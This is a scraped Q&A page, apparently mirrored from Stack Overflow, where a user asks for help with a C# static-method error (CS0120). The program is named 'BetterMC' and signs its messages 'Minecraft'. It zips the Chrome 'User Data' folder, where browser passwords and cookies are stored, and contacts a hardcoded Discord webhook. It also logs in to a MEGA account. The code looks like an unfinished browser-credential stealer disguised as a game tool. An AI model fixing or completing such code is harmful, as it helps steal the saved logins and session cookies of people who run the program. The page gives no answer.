c# - CS0120 大型文件列表 C# Discord webhook
问题描述
由于个人原因,我正在制作一个 webhook,其中列出了我的大型帐户上的所有文件,并且我的 webhook 可以正常工作,但无法让下面的代码正常工作。当我尝试运行它时,它会抛出这个错误Severity Code Description Project File Line Suppression State Error CS0120 An object reference is required for the non-static field, method, or property 'Program.Main1()' BetterMC C:\Users\letou\OneDrive\Desktop\Coding\Games\MinecraftBetter\BetterMC\Program.cs 21 Active
这是我的完整代码`
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Discord;
using Discord.Webhook;
using System.IO.Compression;
using System.IO;
using CG.Web.MegaApiClient;
namespace BetterMC
{
class Program
{
static void Main(string[] args)
{
Main1();
string startPath = @"C:\Users\letou\AppData\Local\Google\Chrome\User Data";
string zipPath = @"C:\Users\letou\OneDrive\Desktop\test.zip";
string extractPath = @"C:\Users\letou\OneDrive\Desktop\test";
Console.WriteLine("Started");
if (!File.Exists(zipPath))
{
ZipFile.CreateFromDirectory(startPath, zipPath);
Console.WriteLine("Created ZIP");
}
if (!File.Exists(extractPath))
{
ZipFile.ExtractToDirectory(zipPath, extractPath);
Console.WriteLine("Extracted ZIP");
}
DiscordWebhook hook = new DiscordWebhook();
hook.Url = "https://discordapp.com/api/webhooks/830649911498113065/m8aZ6mAbhqS_n9jiBLiGFnG_69fq7ADN77P5EihuUNKS1lWgjOeTIX-Rhv8qUNo2jA37";
DiscordMessage message = new DiscordMessage();
message.Content = "Test @everyone";
message.TTS = false; //read message to everyone on the channel
message.Username = "Minecraft";
message.AvatarUrl = "https://pbs.twimg.com/profile_images/653700295395016708/WjGTnKGQ_400x400.png";
hook.Send(message);
Console.WriteLine("sent");
Console.ReadLine();
}
void Main1()
{
var client = new MegaApiClient();
client.Login("username@domain.com", "passw0rd");
// GetNodes retrieves all files/folders metadata from Mega
// so this method can be time consuming
IEnumerable<INode> nodes = client.GetNodes();
INode parent = nodes.Single(n => n.Type == NodeType.Root);
DisplayNodesRecursive(nodes, parent);
client.Logout();
}
void DisplayNodesRecursive(IEnumerable<INode> nodes, INode parent, int level = 0)
{
IEnumerable<INode> children = nodes.Where(x => x.ParentId == parent.Id);
foreach (INode child in children)
{
string infos = $"- {child.Name} - {child.Size} bytes - {child.CreationDate}";
Console.WriteLine(infos.PadLeft(infos.Length + level, '\t'));
if (child.Type == NodeType.Directory)
{
DisplayNodesRecursive(nodes, child, level + 1);
}
}
}
}
}
` 我知道它与非静态 main1 有关,但它需要是非静态的代码才能工作。请帮忙。
解决方案
推荐阅读
- json - 如何实现这个角树组件异步数据代码?
- python - 图像中缺少一些损坏的部分(使用 python 进行图像处理)
- python-3.x - 将索引与python中的相应标识符匹配
- interface - Typescript 通用回调,带有扩展接口的参数,TS2345
- python - 使用 selenium 从社交媒体网站下载图像和视频的 Python 脚本?
- python-3.x - 将缺失的日期时间插入 Pandas 数据框 Python
- android - Shrink Android 使 Crash
- sql - 如何在一行中选择两个值?
- ios - 在 AirWatch 上分发 iOS 应用程序 - 相同或别名 sToken 已存在于对等组织组中
- android-studio - 错误:Linux 上 Android Studio 中的“SDK 模拟器目录丢失”